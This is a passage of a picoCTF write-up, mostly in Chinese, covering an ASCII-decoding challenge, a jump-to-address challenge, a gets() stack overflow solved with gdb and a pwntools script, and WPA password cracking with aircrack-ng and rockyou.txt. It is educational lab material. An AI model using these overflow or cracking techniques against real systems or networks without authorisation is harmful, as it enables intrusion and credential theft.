hex_flag = [0x70, 0x69, 0x63, 0x6f, 0x43, 0x54, 0x46, 0x7b, 0x41, 0x53, 0x43, 0x49, 0x49, 0x5f, 0x49, 0x53, 0x5f, 0x45, 0x41, 0x53, 0x59, 0x5f, 0x37, 0x42, 0x43, 0x44, 0x39, 0x37, 0x31, 0x44, 0x7d]
flag = "".join([chr(x) for x in hex_flag])
print(flag)
```

### Summary
Flag: `picoCTF{ASCII_IS_EASY_xxxxxxxx}`


# Binary Exploitation

## Picker IV <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out how this program works to get the flag?
The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/528/picker-IV.c). The binary can be downloaded [here](https://artifacts.picoctf.net/c/528/picker-IV).

### Solution
打開題目提供的檔案後，可以看到有一個 `win()` 可以幫我們拿到 flag：

```C
int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}
```

接著查看主程式的部分：

```C
int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}
```

可以看到，主程式會接收一個地址，接著執行對應地址的 function，因此接下來我們應該嘗試找到 `win()` 的地址：

```bash
$ objdump -M Intel --disassemble=win picker-IV
```

```
000000000040129e <win>:
...
```

用 `objdump` 可以找到 `win()` 的地址為 `0x40129e`，接著連上 server 輸入地址就能拿到 flag 了。

### Summary
Flag: `picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_xxxxxxxx}`


## Local Target <span style="color: orange;"> [Medium] </span>

### Challenge description
Smash the stack
Can you overflow the buffer and modify the other local variable? The program is available [here](https://artifacts.picoctf.net/c/518/local-target). You can view source [here](https://artifacts.picoctf.net/c/518/local-target.c).

### Solution
查看原始碼後可以看到程式使用 `gets()` 接收使用者輸入，所以應該有 overflow 的問題，而如果我們能將 `num` 的數值更改為 65 的話就能夠拿到 flag：

```C
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }
    ...
  }
```

知道要怎麼做之後，我們可以來找 `num` 在 stack 中的位置，透過 `gdb` 並執行 `disas main`：

```C++
   0x0000000000401242 <+12>:    mov    DWORD PTR [rbp-0x8],0x40
```

在 main+12 的位置會將 `0x40` 存入 `[rbp-0x8]`，因此這應該就是 `num` 存放的位置，接著只要再找出 padding 就能夠將 `num` 更改成我們要的值了：

```C++
   0x0000000000401275 <+63>:    call   0x401110 <gets@plt>
   0x000000000040127a <+68>:    mov    edi,0xa
```

`gets()` 後的下一條指令在 main+68，我們可以把 breakpoint 設在這裡，然後送入一連串的 a，最後算出到達 `rbp-0x8` 需要幾個 a 來得到 padding 長度。

```C++
gef➤  b *main+68
Breakpoint 1 at 0x40127a
gef➤  !python3 -c "print('a' * 50)"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gef➤  r
```

```
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```C++
gef➤  x/50bx $rbp-0x8
0x7fffffffdb58: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffdb60: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffdb68: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffdb70: 0x61    0x61    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdb78: 0x36    0x12    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffdb80: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffdb88: 0x78    0xdc
```

可以看到送入 50 個 a 之後，在 `rbp-0x8` 之後有 26 個 a，因此 padding 的長度應該為 50 - 26 = 24。

最後用 `pwntools` 來跟 server 交互：

```python
import sys
from pwn import *


host = "saturn.picoctf.net"
port = sys.argv[1]

r = remote(host, port)

p = b"a" * 24
p += p64(0x41)

r.sendlineafter(b"string: ", p)
r.interactive()
```

### Summary
Flag: `picoCTF{l0c4l5_1n_5c0p3_xxxxxxxx}`


# Forensics

## WPA-ing Out <span style="color: orange;"> [Medium] </span>

### Challenge description
I thought that my password was super-secret, but it turns out that passwords passed over the AIR can be CRACKED, especially if I used the same wireless network password as one in the rockyou.txt credential dump.
Use this '[pcap file](https://artifacts.picoctf.net/c/41/wpa-ing_out.pcap)' and the rockyou wordlist. The flag should be entered in the picoCTF{XXXXXX} format.

### Solution
從題目中我們可以知道我們需要破解 WPA 的密碼，而提示也告訴了我們可以使用 `aircrack-ng` 來做到這件事。

使用範例：

```bash
$ aircrack-ng -w <wordlist(s)> <input file(s)>
```

使用題目所說的 `rockyou.txt` 作為 wordlist，來破解封包中的密碼：

```bash
$ aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa-ing_out.pcap
```

接著就可以看到 `aircrack-ng` 把密碼破解出來，然後按照格式將密碼放入 picoCTF{} 就能拿到 flag 了：

```
                        Aircrack-ng 1.7 

[00:00:01] 1105/10303727 keys tested (1713.74 k/s) 

Time left: 1 hour, 40 minutes, 11 seconds                  0.01%

                    KEY FOUND! [ mickeymouse ]


Master Key     : 61 64 B9 5E FC 6F 41 70 70 81 F6 40 80 9F AF B1 
                 4A 9E C5 C4 E1 67 B8 AB 58 E3 E8 8E E6 66 EB 11 

Transient Key  : 90 63 ED C6 BB 8A 59 D1 A5 E8 B4 6F 2F 89 66 C2 
                 0B D4 FC 62 37 2F 54 3B 7B B4 43 9B 37 F4 57 40 
                 FD D1 91 86 7F FE 26 85 7B AC DD 2C 44 E6 06 18 
                 03 B0 0F F2 75 A2 32 63 F7 35 74 2D 18 10 1C 25 

EAPOL HMAC     : 65 2F 6C 0E 75 F0 49 27 6A AA 6A 06 A7 24 B9 A9
```

### Summary
Flag: `picoCTF{mickeymouse}`